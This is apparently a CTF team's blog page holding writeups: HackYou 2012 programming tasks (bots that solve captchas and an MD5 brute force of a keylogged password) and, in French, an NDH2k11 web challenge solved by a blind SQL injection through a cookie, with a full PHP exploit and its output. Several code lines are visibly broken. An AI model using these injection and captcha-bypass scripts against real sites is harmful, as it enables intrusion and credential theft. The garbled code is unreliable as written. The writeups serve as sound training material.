To search


w3pwnz, therefore we are

Tag - captcha

Entries feed Comments feed

Thursday, October 18 2012 16:05

HackYou CTF - PPC100, PPC200, PPC300 Writeups

PPC100 - Antihuman Captcha

To solve this task we have to submit the sum of two huge numbers, fast enough to be considered as a robot.
Python can handle these natively, so it's straight-forward.


#!/usr/bin/env python2
import urllib
import re
URL = ""
page = urllib.urlopen(URL).read()
regex = "HugeCaptcha</h2>(?:\s+)(\d+)(?:\s+)\+(?:\s+)(\d+)<br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
int_1, int_2, trueanswer = m.groups()
answer = int(int_1) + int(int_2)
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'hugecaptcha',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: killallhumans

PPC200 - Oscaderp Forensic

Download the archive PPC200.

We need your help, soldier!

Your goal today is to help us obtain the access to Oscaderp Corp mainframe.
Our intelligence has managed to install a keylogger and a formgrabber on some bad person's work laptop. You don't need his name to do your job.
Everything worked as planned, the victim visited mainframe's authentication page, https://authen.intranet/, and started to type in the password.
But when he had a couple characters left, the keylogger got busted and hard-killed by him.

Present intelligence evidence:
* The password that's being used is 1,048,576 characters long.
* According to our calculations, our keylogger managed to capture 1,048,568 password keystrokes.
* Formgrabber remained unnoticed, and in a few hours we've got the logs with successful mainframe authentication.
The only major problem: they use client-side MD5 to protect the password from being eavesdropped.
* We also managed to acquire the source code of the authentication mechanism

You can find all the necessary files in the archive.

YOUR GOAL: obtain the password to the mainframe, and post its SHA1 hash as the flag.

Not much of a choice, we must bruteforce remaining characters.
A dumb basic bruteforce will be quite long because of the password's length. Hence I hash the provided part first (1,048,568 bytes), store it in a "ref" variable, and then bruteforce the 8 remaining bytes, using a copy of the ref md5 object to keep it intact.
Python is usually not a good choice for bruteforce, but i was lazy and it's only a 8 digits bruteforce, which takes less than 3 minutes with code below.

#!/usr/bin/env python2
import itertools
import hashlib
import string
import re
ref = hashlib.md5()
lines = open("keylogger_report_08_10_2012.txt", "r").readlines()
out = open("password", "w")
regex = re.compile("^Keys: (\d+)")
for line in lines:
    m = regex.match(line)
    if m:
charset = string.digits
for password in itertools.product(charset, repeat=8):
    passwd = ''.join(password)
    h = ref.copy()
    if h.hexdigest() == "287d3298b652c159e654b61121a858e0":
        print "password is", passwd
        print "solve with", hashlib.sha1(open('password', 'r').read() + passwd).hexdigest()
print '[DONE]'

Flag: 947c83329e6cf2d9b747af59edf7974752afd741

PPC300 - Quantum Computing Captcha

Same concept than PPC100, but here we have to submit a prime number factor of a huge number.


I used the awesome pari-python module to extract the divisors, and gocr (I often have bad results with that one, but it did the job here...).

#!/usr/bin/env python
import urllib
import re
import subprocess
import pari
URL = ""
page = urllib.urlopen(URL).read()
regex = "<img src='/ppc300/([^']+)'><br>(?:.*)name='trueanswer' value='([^']+)' />"
m =, page, re.S)
img_name, trueanswer = m.groups()
img = urllib.urlopen(URL +
open("captcha.png", "w").write(img)
captcha = subprocess.Popen(['gocr -i captcha.png'], shell=True, stdout=subprocess.PIPE).communicate()[0]
captcha = captcha.split("\n")[0]
captcha = int(captcha[captcha.find('_e') + 2:].replace(" ", ""))
divisors = pari.divisors(captcha)
answer = divisors[1]
params = urllib.urlencode({
    'answer': answer,
    'captchatype': 'refactor',
    'trueanswer': trueanswer
page = urllib.urlopen(URL, params).read()
# Ok, u are robot<br> Secret is:<br> 1101011<br> 1101001[...]
regex = "Secret is:<br> ([^\n]+)"
m =, page)
passwd ="<br> ")
print '[+] Password is', ''.join(chr(int(i, 2)) for i in passwd)

Flag: kill_1_human

Monday, April 4 2011 22:30

NDH2k11 Prequals - Web300


Le site présente uniquement un formulaire avec login, pass et un captcha de 5 caractères.
Peu importe ce qui est entré dans le formulaire, il n’y a jamais de message d’erreurs ou autre indication... Le seul autre élément que ce formulaire et la page captcha.php.

On remarque premièrement qu’il prend un élément “id=<random number>” en paramètre, mais rien de ce coté là (d’ailleurs c’est peut être uniquement pour éviter des problèmes de cache lors du rechargement du captcha).

Au final on se rend compte que le captcha est implémenté étrangment, puisqu’une requête sur captcha.php nous renvoie la réponse HTTP suivante :
Set-Cookie: cap=d7070c97f23d290abc203871e8c40c39
Le captcha généré était ici “CPDLL” et on remarque que le cookie est le md5 de ce texte.
Mais en fait, peut importe, puisque ce cookie est en fait notre point d’entrée pour une injection SQL :

On modifie le cookie de cette façon:

  • d7070c97f23d290abc203871e8c40c39’ AND ‘1’=’1
  • Génère un captcha normal
  • d7070c97f23d290abc203871e8c40c39’ AND ‘1’=’2
  • Génère un captcha avec “ERROR” écrit en noir

On va donc jouer sur la condition et deviner le login/password avec une blind SQL injection.
Si le captcha généré contient du noir, la condition est fausse, sinon elle est bonne.
A noter que l’épreuve était incroyablement lente (plus de 30s) pour générer un captcha normal, contrairement a la génération d’un captcha “error”. On aurait donc aussi pu jouer sur le temps de génération du captcha.

Voici l’exploit utilisé, en PHP...

if ($argc < 3)
       printf ("Usage: %s sqli_index position\n" .
                       "Index:\n" .
                       "\t0 - table name\n" .
                       "\t1 - column name\n" .
                       "\t2 - user\n" .
                       "\t3 - pass\n", $argv[0]);
       exit (0);
$injections = array ();
$injections[0] = "SELECT table_name FROM information_schema.columns WHERE table_schema NOT IN ('information_schema', 'mysql') ORDER BY table_name DESC";
# => On obtient codes, login

$injections[1] = "SELECT column_name FROM information_schema.columns WHERE table_name ='login' ORDER BY column_name DESC";
# => On obtient user, pass, id

$injections[2] = "SELECT user FROM login ORDER BY id ASC";
# => On obtient hackme

$injections[3] = "SELECT pass FROM login WHERE user='hackme'";
# => On obtient 0xr**tme

$injection = "285e009225ca20c008415252a96e525e' AND IF(ASCII(SUBSTR((%s LIMIT 1 OFFSET 0),%d,1))=%d,'1','0')='1";
$charset   = "abcdefghijklmnopqrstuvwxyz0123456789-_ABCDEFGHIJKLMNOPQRSTUVWXYZ*+[]^/\\{}~@.><);:..!\$()";
$val       = "";
for ($l = $argv[2]; $l <= 32; $l++)
       echo "[+] Current content value: ".$val." [Pos: ".$l."]\n";
       for ($i = 0; $i < strlen ($charset); ++$i)
               echo "Trying ".$charset[$i].": ";
               $sqli = sprintf ($injection, $injections[$argv[1]], $l, ord($charset[$i]));
               list($headers,$content) = explode("\r\n\r\n", send($sqli));
               if (check_error ($content))
                       echo "\r";
                       echo "GOOD\n";
                       $val .= $charset[$i];
function check_error ($content)
       $im = imagecreatefromstring ($content);
       for ($i=0; $i < imagesx ($im); ++$i)
               for ($j = 0; $j < imagesy ($im); ++$j)
                       $rgb = imagecolorat ($im, $i, $j);
                       if ($rgb == 0)
                               return 1;
       return 0;
function send ($injection)
       if(($sock = fsockopen ('', 80)) === FALSE)
               die ('Erreur de Connexion');
               $requete = "POST /captcha.php HTTP/1.1\r\n";
               $requete .= "Host:\r\n";
               $requete .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
               $requete .= "Connection: close\r\n";
               $requete .= "Cookie: cap=".urlencode ($injection)."\r\n";
               $requete .= "Cache-Control: max-age=0\r\n\r\n";
               fputs ($sock, $requete);
               $rep = '';
               while (!feof ($sock))
                       $rep .= fread ($sock, 1024);
               fclose ($sock);
               return $rep;

Il n’y a pas de vérification sur la longueur à chaque fois, c’est mal, oui.

Au final l’exploitation pour récupérer le password de “hackme” donne:

awe@awe-laptop ~ % php exploit.php 3 1
[+] Current content value:  [Pos: 1]
Trying 0: GOOD
[+] Current content value: 0 [Pos: 2]
Trying x: GOOD
[+] Current content value: 0x [Pos: 3]
Trying r: GOOD
[+] Current content value: 0xr [Pos: 4]
Trying *: GOOD
[+] Current content value: 0xr* [Pos: 5]
Trying *: GOOD
[+] Current content value: 0xr** [Pos: 6]
Trying T: GOOD
[+] Current content value: 0xr**T [Pos: 7]
Trying m: GOOD
[+] Current content value: 0xr**Tm [Pos: 8]
Trying e: GOOD
[+] Current content value: 0xr**Tme [Pos: 9]

On pourra donc se logger (ou pas en fait) avec les identifiants hackme:0xr**Tme.

On tente le flag 0xr**Tme et... c’est validé !